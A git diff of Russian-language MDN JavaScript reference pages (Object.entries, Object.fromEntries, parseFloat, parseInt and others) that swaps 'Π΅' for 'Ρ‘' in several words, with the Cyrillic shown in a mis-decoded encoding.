Β  var hasOwn = Object.prototype.hasOwnProperty;
return function (O) {
-Β  // 1. Если Type(O) Π½Π΅ являСтся Object or Null выдаСтся ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ TypeError.
+Β  // 1. Если Type(O) Π½Π΅ являСтся Object or Null выдаётся ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ TypeError.
if (typeof O != 'object') {
throw TypeError('Object prototype may only be an Object or null');
}
@@ -183,7 +183,7 @@ o2 = Object.create({}, {
var obj = new Temp();
Temp.prototype = null; // Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ случайныС ссылки Π½Π° О...
-Β  // 4.  Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Properties присутствуСт ΠΈ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, добавляСм
+Β  // 4.  Если Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Properties присутствуСт ΠΈ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, добавляСм
Β  // собствСнныС свойства ΠΊ obj, ΠΊΠ°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ вызывая ΡΡ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½ΡƒΡŽ Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ
Β  // Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Object.defineProperties с Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ obj ΠΈ
Β  // Properties.
diff --git a/files/ru/web/javascript/reference/global_objects/object/entries/index.html b/files/ru/web/javascript/reference/global_objects/object/entries/index.html
index 87a9de90b8..7487e1241a 100644
--- a/files/ru/web/javascript/reference/global_objects/object/entries/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/entries/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/entries
---
<div>{{JSRef}}</div>
-<p><code><strong>Object.entries()</strong></code>Β ΠΌΠ΅Ρ‚ΠΎΠ΄Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив собствСнных пСрСчисляСмых свойств ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β <code>[key, value]</code>, Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ порядкС, Ρ‡Ρ‚ΠΎ ΠΈ Π² Ρ†ΠΈΠΊΠ»Π΅Β {{jsxref("Statements/for...in", "for...in")}}Β (Ρ€Π°Π·Π½ΠΈΡ†Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ for-in пСрСчисляСт свойства ΠΈΠ· Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ²). ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ элСмСнтов Π² массивС ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ возвращаСтся <code><strong>Object.entries()</strong></code>Β Π½Π΅ зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ объявлСн. Если сущСствуСт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ порядкС, Ρ‚ΠΎΒ  массив Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ отсортирован Π΄ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>Object.entries(obj).sort((a, b) =&gt; a[0] - b[0]);</code>.</p>
+<p><code><strong>Object.entries()</strong></code>Β ΠΌΠ΅Ρ‚ΠΎΠ΄Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ массив собствСнных пСрСчисляСмых свойств ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β <code>[key, value]</code>, Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ порядкС, Ρ‡Ρ‚ΠΎ ΠΈ Π² Ρ†ΠΈΠΊΠ»Π΅Β {{jsxref("Statements/for...in", "for...in")}}Β (Ρ€Π°Π·Π½ΠΈΡ†Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ for-in пСрСчисляСт свойства ΠΈΠ· Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ²). ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ элСмСнтов Π² массивС ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ возвращаСтся <code><strong>Object.entries()</strong></code>Β Π½Π΅ зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ объявлСн. Если сущСствуСт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ порядкС, Ρ‚ΠΎΒ  массив Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ отсортирован Π΄ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>Object.entries(obj).sort((a, b) =&gt; a[0] - b[0]);</code>.</p>
<p>{{EmbedInteractiveExample("pages/js/object-entries.html")}}</p>
diff --git a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html
index 7bf1d17719..0a52348cb4 100644
--- a/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/fromentries/index.html
@@ -33,7 +33,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/fromEntries
<h2 id="ОписаниС">ОписаниС</h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>Object.fromEntries()</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ список ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, свойства ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ этими записями. ΠžΠΆΠΈΠ΄Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <em>iterable </em>Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>@@iterator</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт двухэлСмСнтный массивоподобный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² качСствС ΠΊΠ»ΡŽΡ‡Π° свойства, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ элСмСнт — Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ связанного с этим ΠΊΠ»ΡŽΡ‡ΠΎΠΌ свойства.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>Object.fromEntries()</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ список ΠΏΠ°Ρ€ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, свойства ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ этими записями. ΠžΠΆΠΈΠ΄Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <em>iterable </em>Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>@@iterator</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаёт двухэлСмСнтный массивоподобный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² качСствС ΠΊΠ»ΡŽΡ‡Π° свойства, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ элСмСнт — Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ связанного с этим ΠΊΠ»ΡŽΡ‡ΠΎΠΌ свойства.</p>
<p><code>Object.fromEntries()</code> выполняСт ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ, ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ {{jsxref("Object.entries()")}}.</p>
diff --git a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html
index 1700aa0e2c..62830748df 100644
--- a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html
@@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDes
<dt><code>set</code></dt>
<dd>Ѐункция, которая слуТит установщиком для свойства, ΠΈΠ»ΠΈ {{jsxref("undefined")}} Ссли установщика Π½Π΅Ρ‚ (Ρ‚ΠΎΠ»ΡŒΠΊΠΎ дСскрипторы доступа).</dd>
<dt><code>configurable</code></dt>
- <dd><code>true</code> Ρ‚ΠΎΠ³Π΄Π° ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Ρ‚ΠΈΠΏ этого свойства дСскриптора ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½, ΠΈ Ссли свойство ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ ΠΈΠ· ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</dd>
+ <dd><code>true</code> Ρ‚ΠΎΠ³Π΄Π° ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Ρ‚ΠΈΠΏ этого свойства дСскриптора ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½, ΠΈ Ссли свойство ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ ΠΈΠ· ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</dd>
<dt><code>enumerable</code></dt>
<dd><code>true</code> Ρ‚ΠΎΠ³Π΄Π° ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° это свойство отобраТаСтся ΠΏΡ€ΠΈ пСрСчислСнии свойств ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.
<p>Β </p>
diff --git a/files/ru/web/javascript/reference/global_objects/object/values/index.html b/files/ru/web/javascript/reference/global_objects/object/values/index.html
index 38bfcb624a..112c18c60f 100644
--- a/files/ru/web/javascript/reference/global_objects/object/values/index.html
+++ b/files/ru/web/javascript/reference/global_objects/object/values/index.html
@@ -52,7 +52,7 @@ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo;
my_obj.foo = "bar";
console.log(Object.values(my_obj)); // ['bar']
-// АргумСнт, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΉΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ
+// АргумСнт, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΉΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ
console.log(Object.values("foo")); // ['f', 'o', 'o']
</pre>
diff --git a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html
index 03cb0bc158..e108d37e8d 100644
--- a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html
+++ b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html
@@ -44,11 +44,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat
<p><code>parseFloat</code> - это высокоуровнСвая функция, Π½Π΅ привязанная Π½ΠΈ ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ.</p>
-<p><code>parseFloat</code> Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку, ΠΈΡ‰Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ· Π½Π΅Π΅ дСсятичноС число. Если функция встрСтит Π·Π½Π°ΠΊ, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΎΡ‚ (+ ΠΈΠ»ΠΈ -), Ρ†ΠΈΡ„Ρ€(0-9), Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, ΠΈΠ»ΠΈ показатСля стСпСни, ΠΎΠ½Π° Π²Π΅Ρ€Π½Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ этому Π·Π½Π°ΠΊΡƒ, игнорируя всС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ символы . Π”ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ ΠΏΠΎΠ·Π°Π΄ΠΈ ΠΈ Π²ΠΏΠ΅Ρ€Π΅Π΄ΠΈ ΠΈΠ΄ΡƒΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹.</p>
+<p><code>parseFloat</code> Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ строку, ΠΈΡ‰Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈΠ· Π½Π΅Ρ‘ дСсятичноС число. Если функция встрСтит Π·Π½Π°ΠΊ, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΎΡ‚ (+ ΠΈΠ»ΠΈ -), Ρ†ΠΈΡ„Ρ€(0-9), Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, ΠΈΠ»ΠΈ показатСля стСпСни, ΠΎΠ½Π° Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ этому Π·Π½Π°ΠΊΡƒ, игнорируя всС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ символы . Π”ΠΎΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ ΠΏΠΎΠ·Π°Π΄ΠΈ ΠΈ Π²ΠΏΠ΅Ρ€Π΅Π΄ΠΈ ΠΈΠ΄ΡƒΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹.</p>
-<p>Если ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ символ нСльзя привСсти ΠΊ числовому Π²ΠΈΠ΄Ρƒ, <code>parseFloat</code> Π²Π΅Ρ€Π½Π΅Ρ‚<code> NaN</code>.</p>
+<p>Если ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ символ нСльзя привСсти ΠΊ числовому Π²ΠΈΠ΄Ρƒ, <code>parseFloat</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚<code> NaN</code>.</p>
-<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ, <code>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ NaN</code> Π½Π΅ являСтся числом Π² ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ систСмС счислСния. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Π²Π΅Ρ€Π½Π΅Ρ‚ Π»ΠΈ <code>parseFloat </code>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{jsxref("NaN")}} Π² качСствС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвуСт Π² арифмСтичСских опСрациях, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ <code>NaN</code>.</p>
+<p>Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ, <code>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ NaN</code> Π½Π΅ являСтся числом Π² ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ систСмС счислСния. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π»ΠΈ <code>parseFloat </code>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{jsxref("NaN")}} Π² качСствС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°, ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если <code>NaN</code> участвуСт Π² арифмСтичСских опСрациях, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ <code>NaN</code>.</p>
<p><code>parseFloat</code> Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>Infinity</code> ("Π±Π΅ΡΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΡΡ‚ΡŒ"). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{jsxref("Global_Objects/isFinite", "isFinite")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΌ числом  (not <code>Infinity</code>, <code>-Infinity</code>, ΠΈΠ»ΠΈ <code>NaN</code>).</p>
@@ -76,7 +76,7 @@ parseFloat(foo);​​​​​</code></pre>
<h3 id="parseFloat_Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚_NaN"><code>parseFloat</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ NaN</h3>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ Π²Π΅Ρ€Π½Π΅Ρ‚ <code>NaN</code></p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>NaN</code></p>
<pre class="brush: js">parseFloat("FF2");
</pre>
diff --git a/files/ru/web/javascript/reference/global_objects/parseint/index.html b/files/ru/web/javascript/reference/global_objects/parseint/index.html
index 093ad5971c..fd1942b04d 100644
--- a/files/ru/web/javascript/reference/global_objects/parseint/index.html
+++ b/files/ru/web/javascript/reference/global_objects/parseint/index.html
@@ -54,13 +54,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
<ul>
<li>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>string</code> начинаСтся с "<code>0x</code>" ΠΈΠ»ΠΈ "<code>0X</code>", <var>Π·Π° основаниС систСмы счислСния принимаСтся 16, ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ†ΠΈΠΈ подвСргаСтся ΠΎΡΡ‚Π°Π²ΡˆΠ°ΡΡΡ Ρ‡Π°ΡΡ‚ΡŒ строки.</var></li>
- <li>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>string</code> начинаСтся с "0", <var>Π·Π° основаниС систСмы счислСния принимаСтся Π»ΠΈΠ±ΠΎ 8, Π»ΠΈΠ±ΠΎ 10, Π² зависимости ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</var> Π’ спСцификации ECMAScript 5 прописано использованиС 10 (дСсятичная систСма), Π½ΠΎ это поддСрТиваСтся Π΅Ρ‰Π΅ Π½Π΅ всСми Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ, поэтому Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ <strong>всСгда ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ основаниС систСмы счислСния ΠΏΡ€ΠΈ использовании Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ </strong><strong><code>parseInt</code></strong>.</li>
+ <li>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>string</code> начинаСтся с "0", <var>Π·Π° основаниС систСмы счислСния принимаСтся Π»ΠΈΠ±ΠΎ 8, Π»ΠΈΠ±ΠΎ 10, Π² зависимости ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ.</var> Π’ спСцификации ECMAScript 5 прописано использованиС 10 (дСсятичная систСма), Π½ΠΎ это поддСрТиваСтся Π΅Ρ‰Ρ‘ Π½Π΅ всСми Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ, поэтому Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ <strong>всСгда ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ основаниС систСмы счислСния ΠΏΡ€ΠΈ использовании Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ </strong><strong><code>parseInt</code></strong>.</li>
<li>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>string</code> начинаСтся с любого Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ символа, систСма счислСния считаСтся дСсятичной (основаниС 10).</li>
</ul>
<p>Если ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ символ строки Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ Π² число, <code>parseInt</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>NaN</code>.</p>
